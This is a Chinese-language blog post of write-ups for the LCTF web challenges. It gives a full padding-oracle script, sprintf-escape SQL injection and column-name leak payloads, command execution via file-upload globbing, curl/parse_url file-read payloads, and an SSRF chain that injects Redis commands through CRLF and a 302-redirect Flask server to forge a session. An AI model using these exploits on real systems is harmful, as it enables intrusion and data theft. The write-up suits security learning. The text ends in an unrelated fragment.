LCTF Web补题笔记(菜狗前进永不止步)

不得不说比赛真的挺难得…补题吧…

Simple blog

首先上来发现文件login.php和admin.php,但是没什么别的,想到文件泄露通过swp得到源码

login.php


error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');

function show_page(){
    echo '


  
  Login Form
  


  


';
}

function get_random_token(){
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}

function get_identity(){
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id === 'admin'){
        $_SESSION['isadmin'] = 1;
    }else{
        $_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}

if(isset($_POST['username'])&&isset($_POST['password'])){
    $username = mysql_real_escape_string($_POST['username']);
    $password = $_POST['password'];
    $result = mysql_query("select password from users where username='" . $username . "'", $con);
    $row = mysql_fetch_array($result);
    if($row['password'] === md5($password)){
        get_identity();
        header('location: ./admin.php');
    }else{
        die('Login failed.');
    }
}else{
    if(test_identity()){
        header('location: ./admin.php');
    }else{
        show_page();
    }
}
?>

admin.php


error_reporting(0);
session_start();
include('config.php');

if(!$_SESSION['isadmin']){
    die('You are not admin');
}

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['title'])){
        $title = mysql_real_escape_string($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['title'])&&isset($row['content'])){
        echo "

".$row['title']."


"
.$row['content']; die(); }else{ die("This article does not exist."); } } ?>
<html> <head> <meta charset="utf-8"> <title>adminpagetitle>
<link href="css/bootstrap.min.css" rel="stylesheet"> <script src="js/jquery.min.js">script> <script src="js/bootstrap.min.js">script> head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="navbar-header"> <a class="navbar-brand" href="#">后台a> div> <div> <ul class="nav navbar-nav"> <li class="active"><a href="#">编辑文章a>li> <li><a href="#">设置a>li> ul> div>nav> <div class="panel panel-success"> <div class="panel-heading"> <h1 class="panel-title">文章列表h1> div> <div class="panel-body"> <li><a href='?id=1'>Welcome to mybloga><br>li> <li><a href='?id=2'>Hello,world!a><br>li> <li><a href='?id=3'>This is admin pagea><br>li> div> div> body> html>

第一步就是用login中的oracle padding attack,中间出了很多很多问题,只能爆出15位,第一位需要爆破,之前自己写的脚本死活通,现在重写改一下,原来是之前再发送的时候忘记了base64加密!!!蠢到死…
然后扫一遍就可以达到条件,将isadmin置1

import requests
import re
import base64
def make_iv(iv,num,pos):
    ret = ''
    ret += '0'*(15-pos)
    ret+=chr(num)
    for i in range(16-pos,16):
        ret+=chr(ord(iv[i])^pos^(pos+1))
    return ret

s = requests.session()
login_url = 'http://111.231.111.54/login.php'
headers= {
    "Host": "111.231.111.54",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://111.231.111.54/login.php",
    "Connection": "keep-alive",
    "Content-Type": "application/x-www-form-urlencoded"
}
cookies ={
    "td_cookie":"18446744069640386265", 
    "PHPSESSID":"vc16b97robdlk85ek3qbfudb37"
}
data={"username":"admin","password":"admin"}
decodestr=base64.b64decode("dEhPNW9vV3hyczBwc1FhaQ==")
mid = ''
iv = '0'*16
a=[]
''''''
for i in range(0,16):
    for j in range(0,256):
        temp_iv = make_iv(iv,j,i)
        #print len(temp_iv)
        temp_iv=base64.b64encode(temp_iv)
        cookies ={
            "td_cookie":"18446744069640386265", 
            "PHPSESSID":"d9r8bfjalqft2udaj5qoeune11",
            "token":temp_iv
        }
        content = s.post(url=login_url,headers=headers,cookies=cookies).text
        #print content,j
        if "Error!" not in content:
            print i,j^(i+1)
            iv=base64.b64decode(temp_iv)
            mid+=chr(j^(i+1))
            a.append(j^(i+1))
            break
    print mid,len(mid)
a=a[::-1]
print a

#a=[16, 25, 66, 10, 62, 48, 33, 69, 42, 89, 32, 27, 96, 18, 104]

sss='dmin'+chr(0xb)*0xb
key = ''
for i in range(len(sss)):
    key+=chr(ord(sss[i])^a[i])
what = ''
for i in range(256):
    temp_key = chr(i)+key
    temp_key=base64.b64encode(temp_key)
    cookies ={
        "td_cookie":"18446744069640386265", 
        "PHPSESSID":"d9r8bfjalqft2udaj5qoeune11",
        "token":temp_key
    }
    content = s.post(url=login_url,headers=headers,cookies=cookies).text

LCTF Web补题笔记(菜狗前进永不止步)_第1张图片

成功访问到了admin.php,然后一步就是sql注入了,猛一看真的以为是宽字节注入…但是不知道怎么都不对,然后看的题解….居然是今年新的洞,还是自己孤陋寡闻了,主要是利用了php中spritf函数的特性造成单引号逃逸,厉害了厉害了
格式化字符串简单的利用


$num='tree';
$location=5;
$format = 'The %1$s cntains %2$02d monkeys';
echo sprintf($format,$num,$location);
?>

LCTF Web补题笔记(菜狗前进永不止步)_第2张图片

这里就比较厉害了,我们构造这样

所以,payload%1$'%s'中的'%被视为使用%进行 padding,导致了'的逃逸

通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了’%’)会被当作字符类型,而被吃掉,单引号’,斜杠\也不例外。
如果能提前将%’ and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成\’

select * from user where username = '%\' and 1=1#';

然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,’成功逃逸
不过这样容易遇到PHP Warning: sprintf(): Too few arguments的报错
还可以使用%1$吃掉后面的斜杠,而不引起报错

LCTF Web补题笔记(菜狗前进永不止步)_第3张图片

真是厉害了厉害了….感觉自己太菜了,菜狗还是多学习吧!!!加油!!!
后面就是常规注入

http://111.231.111.54/admin.php?
id=1
&title=%1$' union select 1,(select f14g from web1.key limit 0,1),3%23

LCTF Web补题笔记(菜狗前进永不止步)_第4张图片

LCTF{N0!U_hacked_My_b1og}

这个题目总共用到了

源码泄露
cbc字节翻转攻击
sqli格式化字符串构造注入

学习学习,这真的是签到题????

“他们”有什么秘密呢?

首先看到提示

LCTF Web补题笔记(菜狗前进永不止步)_第5张图片

明确一下第一步任务

后面有明显的报错,单引号被翻倍了,没法绕过,然后居然是直接利用即可

LCTF Web补题笔记(菜狗前进永不止步)_第6张图片

然后居然连 schemainformation都过滤了,然后我想到了利用盲注,既然有回显就是order by盲注了,可以利用类似这样的

LCTF Web补题笔记(菜狗前进永不止步)_第7张图片

但是大麻烦是还是不知道列表结构,之前在MCTF中刚刚学习到可以利用已知的列名去爆库和表名polygon函数逆天大法,现在试了试并不可以,我自己的思路到这里就跪了。后面看了pcat大佬的题解,才发现原来类似polygon这样的函数并不只有一个

polygon、multipoint、multilinestring、multipolygon、linestring

然后我们利用的就是最后一个

LCTF Web补题笔记(菜狗前进永不止步)_第8张图片

由此可以知道库名是 youcanneverfindme17,表名是 product_2017ctf

然后之后我们可以利用报错注入!利用已知的列名求得下一个列的列名(之前确实没见过,长见识了!)利用如下

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)
//得到Duplicate column name 'pro_name' 

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
//得到Duplicate column name 'owner'

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner))c)
得到d067a0fa9dc61a6e

要是继续的话发现d067a0fa9dc61a6e这个被ban掉了…
然后学习了一波大佬绕过列名获得数据的方法,真心膜拜,下面可以利用两种思路,一个是最方便的直接查询,另一种就是比较复杂的,记得我们之前说的order by可以利用吗?可以写脚本爆破。
构造如下

pro_id=0 union select 1,(select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 3),3,4 

LCTF Web补题笔记(菜狗前进永不止步)_第9张图片

得到下一个地址 d067a0fa9dc61a6e7195ca99696b5a896.php
可以看到是一个文件上传的东西,而且我们发现只能上传7字节的内容,和js脚本无关,大佬找到题目原题,php执行命令

https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/tiny_hosting_web_250#eng-version

按顺序POST提交下面3条
filename=p.php&content=filename=bash&content=xxx
filename=bash2&content=ls /

再访问p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php
原因如下

p.php的=`*`; 其中的*会展开成当前文件夹下的文件,并按字母顺序排列
大致上等价于
 echo `bash bash2 index.html p.php` ?>
访问p.php的时候,bash就会执行bash2这个文件里的命令,后面的文件无视掉
通过修改bash2这个文件的内容就可以构造命令执行。

再POST
filename=bash2&content=cat /3*
得到flag


$flag = "LCTF{n1ver_stop_nev2r_giveup}";
?>

萌萌哒报名系统

首先提示是IDE开发的什么系统…emmm,但是我觉得不行,扫描一下目录发现了.idea目录(其他的没什么用),查看一下,发现改目录的作用是存放项目的配置信息,包括历史记录,版本控制信息等。这里算是源码泄露的一种吧,workspace.xml中查看

LCTF Web补题笔记(菜狗前进永不止步)_第10张图片

然后可以下载下载源码包了,总共有member.php login.php 和 register.php三个文件,本来以为就是普通的注入,但是貌似并不是,首先还是列一下代码吧

register.php

    include('config.php');
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
    echo '';
member.php

    error_reporting(0);
    session_start();
    include('config.php');
    if (isset($_SESSION['username']) === false) {
        die('please login first');
    }
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

    $_SESSION['is_logined'] = true;
    if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {

    }else{
        if(isset($_GET['file'])===false)
            echo "None";
        elseif(is_file($_GET['file']))
            echo "you cannot give me a file";
        else
            readfile($_GET['file']);
    }
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
head>
<body background="./images/1.jpg">
<object type="application/x-shockwave-flash" style="outline:none;" data="http://cdn.abowman.com/widgets/hamster/hamster.swf?" width="300" height="225"><param name="movie" value="http://cdn.abowman.com/widgets/hamster/hamster.swf?">param><param name="AllowScriptAccess" value="always">param><param name="wmode" value="opaque">param>object>
<p style="color:orange">你好啊,但是你好像不是XDSEC的人,所以我就不给你flag啦~~p>
body>
html>
login.php

    session_start();
    include('config.php');
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }
    $_SESSION['username'] = $username;
    unset($_SESSION['is_logined']);
    unset($_SESSION['is_guest']);
    #echo $username;
    header("Location: member.php");
?>

看到界面是要先申请才能在login.php中登录的,因为尝试在login.php中直接联合查询注入失败了,确实不知道是什么姿势,而且我们发现只有在申请的时候这样

LCTF Web补题笔记(菜狗前进永不止步)_第11张图片

只有身份不是GURST才行,但是随机生成的序列我们是不可能预测到的!这就很尴尬了。看了看题解,才明白居然是类似条件竞争的东西,之前一直没注意
LCTF Web补题笔记(菜狗前进永不止步)_第12张图片

我们先插入了username和password,而identity是后续插入的,原子性就被破坏了,但是怎么办呢!这里提及了当preg_match函数在匹配大量的正则表达时候会卡死,这样原子性就被破坏了,我们匹配大量正则的时候进行登录,这个时候identity是空串,然后就完成了绕过
重要构造如下,申请后在运行过程中访问登录

username=hello
password=hello
code="xdsec"+5000*"###A"

绕后用php的伪协议构造文件包含得到config.php中的flag

http://123.206.120.239/member.php?file=php://filter/convert.base64-encode/resource=config.php

解密得到flag


$user = "xdsec";
$pass = "xdsec";
$flag = "LCTF{pr3_maTch_1s_A_amaz1ng_Function}"
?>

其中pre_match的部分资料在这
http://bobao.360.cn/learning/detail/4586.html

签到题

扫描了一下没什么特别的,只有本地的test.php,主页面是一个输入一个网址得到内容的东东,但是貌似过滤了127.0.0.1和localhost什么的。但是也不知道要干啥,看到提示是本地,猜测是找到本地的文件,猜测是过滤了host,然后再curl了一下,之前没接触过这个,所以其实并不怎么会这个,参看wp了…首先放一下出题人的代码了

 
if(!$_GET['site']){ 
    echo << 
 
look source code: 
'' method='GET'> 'submit' name='submit' /> 'text' name='site' style="width:1000px" value="https://www.baidu.com"/>
EOF; die(); } $url = $_GET['site']; $url_schema = parse_url($url); $host = $url_schema['host']; $request_url = $url."/"; if ($host !== 'www.baidu.com'){ die("wrong site"); } $ci = curl_init(); curl_setopt($ci, CURLOPT_URL, $request_url); curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ci); curl_close($ci); if($res){ echo "

Source Code:

"
; echo $request_url; echo "
"
; echo htmlentities($res); }else{ echo "get source failed"; } ?>

这里利用了parse_url函数分析网址,不管怎么换,貌似host就是www.baidu.com,代码也就印证了想法,而且百度后面就是加上了一个/
首先必须要讲一讲parse_url函数(之前完全不知道这个函数,还是自己孤陋寡闻了)

LCTF Web补题笔记(菜狗前进永不止步)_第13张图片

解法一

这里就有好玩的东西
首先我们看一下parse_url的一个特性,当同时出现@之后该函数默认匹配后一个为host


$url='http://username:password@hostname1@hostname2';
$content = parse_url($url);
var_dump($content);
?>

LCTF Web补题笔记(菜狗前进永不止步)_第14张图片

然后我们看一下curl的特性(非常有趣的),当我们同时出现多个@(也就是我们认为的host的时候,curl只承认第一个!!!)例子如下

curl file://[email protected]@whatafuck/var/www/html/flag.php

发现是可以找到东西的!非常神奇,这样就可以构造代码注入了,我们再考虑加上的/,只需要加上?或者是#就可以吧这个/当成某一个元素的内容了,最后构造payload如下

file://username:password@localhost@www.baidu.com/etc/flag?

LCTF Web补题笔记(菜狗前进永不止步)_第15张图片

方法二

来自于原作者的出题思路

1.file协议读取本地文件
2.绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
3.截断url后面拼接的/, GET请求, 用?#都可以

payload如下

file://www.baidu.com/etc/flag?

LCTF Web补题笔记(菜狗前进永不止步)_第16张图片

L PLAYGROUND

很可疑再做的时候题目已经关闭了,这里主要还是自己学习一波好了

官方的环境说明

服务器外网只开启22、80端口,防火墙内开了6379、8000端口。22端口是服务器的ssh端口,80端口是nginx,为了提高服务可用性和日志记录。内网8000端口是我们模拟的未上线的开发环境,6379端口是没有密码的redis服务。

源码介绍

源码在ctf_django和ctf_second两个文件夹,首先把ctf_django的settings_sess.py文件名更改为settings.py,然后开始运行。这里使用gunicorn是为了使web服务更加健壮。
nginx相关配置文件如下:

        upstream app_server {
                server unix:/home/grt1st/ctf_django/ctf_django.sock fail_timeout=0;
        }

        server {
                listen 80;
                server_name localhost;
                keepalive_timeout 5;
                location ~* \.(py|sqlite3|service|sock|out)$ {
                        deny all;
                }
                location /static  {
                        alias /home/grt1st/ctf_django/static/;
                }
                location / {
                        add_header Server Django/1.11.5;
                        add_header Server CPython/3.4.1;                        
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Scheme $scheme;
                        proxy_redirect off;
                        proxy_pass http://app_server;
                }
        }

将以下内容保存为gunicorn.service文件名,放在ctf_django目录下。

[unit]
Description=gunicorn daemon
After=network.target

[Service]
User=nobody
Group=nogroup
WorkingDirectory=/home/grt1st/ctf_first
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

[Install]
WantedBy=multi-user.target

然后进入目录,启动服务。

cd /home/grt1st/ctf_first/
sudo /home/grt1st/.conda/envs/ctf/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

这里还需要虚拟环境,python3.4.1,我使用的是anaconda。启动虚拟环境source activate ctf,然后启动ctf_second:python ./ctf_second/ctf_second.py

解题步骤

访问网址,我们可以看到网页如图

LCTF Web补题笔记(菜狗前进永不止步)_第17张图片

值得注意的是两点,一个是user名字,还有一个You can input any url you like。

我们在输入框随便输入sina.com,可以看到返回内容:

LCTF Web补题笔记(菜狗前进永不止步)_第18张图片

打开f12开发者工具可以看到

LCTF Web补题笔记(菜狗前进永不止步)_第19张图片

我们在公网上开个端口,查看来自服务器的请求,这里我使用的是云服务器nc -l -p 12345,然后我们输入公网ip:12345。

可以在我们的云服务器上看到:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Host: 123.206.60.140:12345
User-Agent: python-requests/2.18.4
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

可以看到这个请求来自于python的requests库。

于是我们尝试通过构造特殊的url来打进内网,常见的绕过比如直接127.0.0.1,或者是进行一些进制转换、302跳转等等,但是我们会发现,这些都被拦截了。仔细分析页面的源代码,我们会看到页面里有一个图片,那么这里是否可能存在一个目录穿越、任意文件读取漏洞呢?

尝试http://localhost/static/、http://localhost/static../、http://localhost/static../manage.py,返回403;http://localhost/static../xxx,返回404。

在网站响应的http头部可以看到Server头部信息CPython3.4.1。由于python3.x的特性,会在pycache目录下存放预编译模块,于是依次下载文件:

http://localhost/static../__pycache__/__init__.cpython-34.pyc、http://localhost/static../__pycache__/urls.cpython-34.pyc、http://localhost/static../__pycache__/settings.cpython-34.pyc

通过uncompyle6反编译pyc得到python文件,再依次下载需要的文件:views.cpython-34.pyc、forms.cpython-34.pyc、html_parse.cpython-34.pyc、sess.cpython-34.pyc、safe.cpython-34.pyc。

分析代码可知,只有我们的user名为administrator才可得到flag,而这个用户名是不可能生成的。所以我们剩下的思路就是改变session,而这里session保存在redis中。从settings.py里我们可以知道这里使用的是django-redis-sessions

很多人可能不知道,在linux中0代表我们本机的ip地址,我们可以本地测试一下:

➜  ~ ping -c 4 0
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.050 ms

--- 0 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3037ms
rtt min/avg/max/mdev = 0.026/0.036/0.050/0.012 ms

于是我们尝试输入0,可以看到我们已经成功进入了内网,虽然目前来看我们还是离flag很远。因为我们无法控制服务器http请求的内容,无法进行redis操作。
写一个脚本,看一下内网有什么服务

import requests
from lxml import etree
import re

s = requests.Session()
url = "localhost"
pattern = re.compile(r'[Errno 111] Connection')

def get_token(sess):
    r = sess.get(url)
    html = etree.HTML(r.text)
    t = html.xpath("//input[@name='csrfmiddlewaretoken']")
    try:
        token = t[0].get('value')
    except IndexError:
        print("[+] Error: can't get login token, exit...")
        os.exit()
    except Exception as e:
        print(e)
        os.exit()
    return token

for i in 10000:
    payload = {'csrfmiddlewaretoken': get_token(s), 'target': '0:%i' % i}
    r = s.post(url, data=payload)
    if re.search(pattern, r.text):
        print(i)

可以看到服务器还开了8000端口和6379端口,6379端口应该是redis。这里我们输入0:8000看看会返回什么:

 <html lang="en"> <head> <meta charset="UTF-8"> <title>title> head> <body> <form action="/" method="get"> <input type="text" name="url" id="url" > <input type="submit" value="submit"> form> body> html>

看起来是一个GET方式的表单,这里我们传递表单的参数看一下0:5000?target=http://baidu.com:

 <html lang="en"> <head> <meta charset="UTF-8"> <title>title> head> <body> <p>我觉得可以p> body> html>

我们看到返回了内容,在用云服务器试一下nc -l -p 12345,输入参数0:5000?target=http://公网ip:12345:

 <html lang="en"> <head> <meta charset="UTF-8"> <title>title> head> <body> <p>timed outp> body> html>

服务器请求timed out,再看服务器:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140:12345

可以看出服务端使用的是urllib、python版本3.4,可能存在http头部注入。简单的poc:”0:5000?target=http://123.206.60.140%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345“,看到服务器端:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140
X-injected: header
x-leftover: :12345
我们成功的进行了http头部注入,可以拿来操纵redis。

那我们怎么通过0:5000redis呢?看来要通过另一个ssrf漏洞。这里同样的对进制转换进行了过滤,但是我们可以通过302跳转构造ssrf。

同样的,在我们的云服务器上,通过flask进行简单的测试:
from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/')
def test():
    return redirect('http://127.0.0.1:80/', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

看到返回:

 <html lang="en"> <head> <meta charset="UTF-8"> <title>title> head> <body> <p>我觉得可以p> body> html>

那我们这里再次成功进行了ssrf漏洞,但是对redis的攻击类似与盲注,我们无法看到结果。

于是根据得到的源码,本地搭建环境,并安装django-redis-sessions。

先访问本地,之后查看redis储存的键值对。

redis-cli
keys *
get xxxxxxxxxx

看到返回的字符串像是经过base64后的:NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2UjARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==
解码

Python 3.6.2 (default, Jul 20 2017, 03:52:27) 
Type 'copyright', 'credits' or 'license' for more information
IPython 6.2.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import base64

In [2]: a = "NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2U
   ...: jARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg=="

In [3]: base64.b64decode(a)
Out[3]: b'75cfaebf92c36f2b4b49f823bed18c5e5ab476da:\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\r1930ea31e41f0\x94s.'

对比网页里的hello, uesr: 1930ea31e41f0,我们可以把用户名替换为administrator。

于是通过分析代码逻辑,修改sess.py,不产生随机字符串而是直接返回administrator。于是我们清除cookie,重新启动本地的django并监控redis:redis-cli monitor,得到administrator的序列化字符串”OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==”

所以我们可以通过http头部注入执行redis命令,创建用户名为administrator的键值对。
我们云服务器端的302跳转地址如下:http://127.0.0.1%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==%0d%0ax-leftover:%20:6379/,拆开看,即set 6z78up4prpcderqrsq0rce35wwdnhg50 OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==

但是这里实际上有一个坑,url太长会报错:UnicodeError: label empty or too long,报错的文件在/usr/lib/pythonx.x/encodings/idna.py,报错在这里:

        if 0 < len(label) < 64:
            return label
        raise UnicodeError("label empty or too long")

所以我们要控制url长度,比如通过append来给键加值,基本缩略如http://0%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20值%0d%0a:6379。依旧很长,因为整个键名就非常长,这里我们也尝试缩短。

尝试: http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379、

http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379、

http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379、

http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379、

http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379、

http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379

即可进行拼接,创建文件flask_poc.py:

from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/redis')
def test():
    return redirect('http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379', 302)

@app.route('/redis1')
def test1():
    return redirect('http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379', 302)

@app.route('/redis2')
def test2():
    return redirect('http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379', 302)   

@app.route('/redis3')
def test3():
    return redirect('http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379', 302)

@app.route('/redis4')
def test4():
    return redirect('http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379', 302)    

@app.route('/redis5')
def test5():
    return redirect('http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

本地测试,可以看到

127.0.0.1:6379> keys *
1) "ubar4t1tpicq8152csdr351pabbkl0a6"
2) "h1234566"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZ"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqAB"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjAR"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

修改本地cookies sessionid的值为h1234566,已经成功。

于是我们在网址上分别进行输入0:5000?target=公网ip/redis、redis1、2…

然后修改cookies,成功得到flag。

讲道理…真的吓死我了….真是复杂的一逼,而且我自己对ssrf还不是很熟悉,大概过了一下思路就一路懵逼了,真是太菜了,在此复制一下大佬的wp,后面继续学习(估计什么时候明白了flask、redis和ssrf才会回来吧)

wanna hack him?

又是XSS,结果又又又错过了,总是做不出XSS题目

解法一

利用dangling markup attack。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比较常见的payload


                                
                                
  • CommonDAO(公共/基础DAO) g21121 DAO
